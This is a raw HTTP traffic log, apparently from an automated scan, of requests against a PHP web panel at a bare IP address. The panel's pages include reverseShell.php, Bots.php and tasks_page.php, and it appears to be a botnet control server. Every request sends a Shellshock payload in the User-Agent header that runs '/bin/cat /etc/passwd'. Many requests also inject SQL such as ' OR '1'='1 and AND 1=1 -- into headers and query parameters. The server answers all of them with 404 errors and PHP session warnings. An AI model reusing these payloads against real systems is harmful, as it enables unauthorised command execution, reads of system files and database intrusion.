Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:29 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Keep-Alive: timeout=5, max=37
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin%" --
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:24:13 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1" OR "1"="1" --
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:58 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Keep-Alive: timeout=5, max=78
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54+AND+1%3D1+--+ HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:47 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=57
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9 AND 1=1 --
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:25:41 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=68
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54' AND '1'='1
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:25:36 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0%' --
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=31
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"%" --
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:56 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=68
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:49 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=70
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54%25%27++--+ HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:21:26 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Keep-Alive: timeout=5, max=48
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27+AND+1%3D1+--+&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=82
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27%25%27++--+&bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:20 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=77
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27&bot=DESKTOP-95IQEEV%22+AND+%221%22%3D%221%22+--+&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:33 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27&bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"%' --
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:44 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Keep-Alive: timeout=5, max=46
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27&bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1' AND '1'='1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:58 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27&bot=DESKTOP-95IQEEV&id=54%27+AND+%271%27%3D%271%27+--+ HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:45 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8%' --
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:21:24 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=73
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5' AND '1'='1' --
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:21:31 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=32
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document%
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:28 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=33
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate' AND '1'='1' --
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=82
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none%" --
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:57 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' OR '1'='1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Keep-Alive: timeout=5, max=2
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
